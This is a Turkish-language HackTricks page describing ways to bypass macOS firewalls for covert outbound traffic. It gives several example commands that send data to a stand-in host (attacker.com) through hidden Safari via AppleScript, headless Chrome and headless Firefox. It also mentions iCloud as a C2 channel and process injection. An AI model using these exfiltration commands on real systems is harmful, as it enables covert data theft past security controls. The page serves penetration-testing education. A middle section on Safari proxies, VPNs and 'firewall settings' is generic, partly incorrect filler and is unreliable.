hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md
2024-02-10 18:14:16 +00:00

8 KiB
Raw Blame History

macOS Firewall Bypass Etme

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

Bulunan teknikler

Aşağıdaki teknikler, bazı macOS güvenlik duvarı uygulamalarında çalıştığı tespit edilen tekniklerdir.

Beyaz liste isimlerini kötüye kullanma

  • Örneğin, kötü amaçlı yazılımı launchd gibi iyi bilinen macOS işlemleri adlarıyla çağırma

Sentetik Tıklama

  • Güvenlik duvarı kullanıcıdan izin istiyorsa, kötü amaçlı yazılımın izin ver'e tıklamasını sağlama

Apple imzalı ikili dosyaları kullanma

  • curl gibi, aynı zamanda whois gibi diğerleri de

İyi bilinen apple alan adları

Güvenlik duvarı, apple.com veya icloud.com gibi iyi bilinen apple alan adlarına bağlantılara izin verebilir. Ve iCloud bir C2 olarak kullanılabilir.

Genel Bypass

Güvenlik duvarını atlamak için denenebilecek bazı fikirler

İzin verilen trafiği kontrol etme

İzin verilen trafiği bilmek, potansiyel olarak beyaz listeye alınmış alan adlarını veya bunlara erişime izin verilen uygulamaları belirlemenize yardımcı olacaktır.

lsof -i TCP -sTCP:ESTABLISHED

DNS Kötüye Kullanma

DNS çözümlemeleri, muhtemelen DNS sunucularına erişime izin verilecek olan mdnsreponder adlı uygulama aracılığıyla yapılır.

https://www.youtube.com/watch?v=UlT5KFTMn2k

Tarayıcı Uygulamaları Aracılığıyla

  • oascript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
  • Google Chrome

{% code overflow="wrap" %}

"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"

{% endcode %}

  • Firefox
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"

Safari

Safari, Apple'ın varsayılan web tarayıcısıdır. macOS üzerinde çalışır ve güvenlik önlemleriyle donatılmıştır. Ancak, bazı durumlarda güvenlik duvarını atlamak için bazı teknikler kullanılabilir.

1. Proxy Sunucusu Kullanma

Proxy sunucusu kullanarak, internet trafiğinizi başka bir sunucu üzerinden yönlendirebilir ve güvenlik duvarını atlayabilirsiniz. Bu, IP adresinizi gizlemek ve engellenmiş web sitelerine erişmek için etkili bir yöntemdir.

Proxy sunucusu ayarlarını Safari'de yapılandırmak için aşağıdaki adımları izleyin:

  1. Safari'yi açın ve "Tercihler"i seçin.
  2. "Gelişmiş" sekmesine gidin ve "Değiştir" düğmesine tıklayın.
  3. "Proxies" sekmesine gidin ve "Web Proxy (HTTP)" seçeneğini işaretleyin.
  4. Proxy sunucusunun IP adresini ve port numarasını girin.
  5. "Tamam" düğmesine tıklayın ve ayarları kaydedin.

2. VPN Kullanma

VPN (Virtual Private Network), internet trafiğinizi şifreleyerek güvenli bir şekilde iletmek için kullanılan bir teknolojidir. VPN kullanarak, güvenlik duvarını atlayabilir ve internet trafiğinizi başka bir konumdan yönlendirebilirsiniz.

Safari'de VPN kullanmak için aşağıdaki adımları izleyin:

  1. Bir VPN hizmeti sağlayıcısı seçin ve hesap oluşturun.
  2. macOS üzerinde VPN ayarlarını yapılandırın.
  3. Safari'yi açın ve "Tercihler"i seçin.
  4. "Gelişmiş" sekmesine gidin ve "Değiştir" düğmesine tıklayın.
  5. "Proxies" sekmesine gidin ve "Web Proxy (HTTP)" seçeneğini işaretleyin.
  6. VPN sağlayıcınızın sunucusunun IP adresini ve port numarasını girin.
  7. "Tamam" düğmesine tıklayın ve ayarları kaydedin.

3. JavaScript Devre Dışı Bırakma

JavaScript, web sitelerinde etkileşimli öğelerin çalışmasını sağlayan bir programlama dilidir. Ancak, bazı durumlarda güvenlik duvarını atlamak için JavaScript'i devre dışı bırakabilirsiniz.

Safari'de JavaScript'i devre dışı bırakmak için aşağıdaki adımları izleyin:

  1. Safari'yi açın ve "Tercihler"i seçin.
  2. "Gelişmiş" sekmesine gidin ve "Değiştir" düğmesine tıklayın.
  3. "Gelişmiş" sekmesinde "Web sitesi kullanımı" bölümüne gidin.
  4. "JavaScript'i etkinleştir" seçeneğini kaldırın.
  5. "Tamam" düğmesine tıklayın ve ayarları kaydedin.

Bu yöntem, bazı web sitelerinin düzgün çalışmamasına neden olabilir, bu nedenle dikkatli olun.

4. Güvenlik Duvarı Ayarlarını Değiştirme

Safari'de güvenlik duvarı ayarlarını değiştirerek, engellenmiş web sitelerine erişebilirsiniz. Ancak, bu yöntem, güvenlik açıklarına neden olabilir ve bilgisayarınızı risk altına sokabilir.

Güvenlik duvarı ayarlarını değiştirmek için aşağıdaki adımları izleyin:

  1. Safari'yi açın ve "Tercihler"i seçin.
  2. "Gelişmiş" sekmesine gidin ve "Değiştir" düğmesine tıklayın.
  3. "Gelişmiş" sekmesinde "Web sitesi kullanımı" bölümüne gidin.
  4. "Güvenlik" sekmesine gidin ve "Web sitesi izinleri"ni seçin.
  5. Engellenmiş web sitelerini bulun ve "İzin Ver" seçeneğini işaretleyin.
  6. "Tamam" düğmesine tıklayın ve ayarları kaydedin.

Bu yöntem, güvenlik duvarını atlamak için etkili olabilir, ancak dikkatli olun ve yalnızca güvendiğiniz web sitelerine erişin.

open -j -a Safari "https://attacker.com?data=data%20to%20exfil"

Süreç enjeksiyonu ile

Eğer herhangi bir sunucuya bağlanmasına izin verilen bir sürece kod enjekte edebilirseniz, güvenlik duvarı korumalarını atlayabilirsiniz:

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Referanslar

AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları: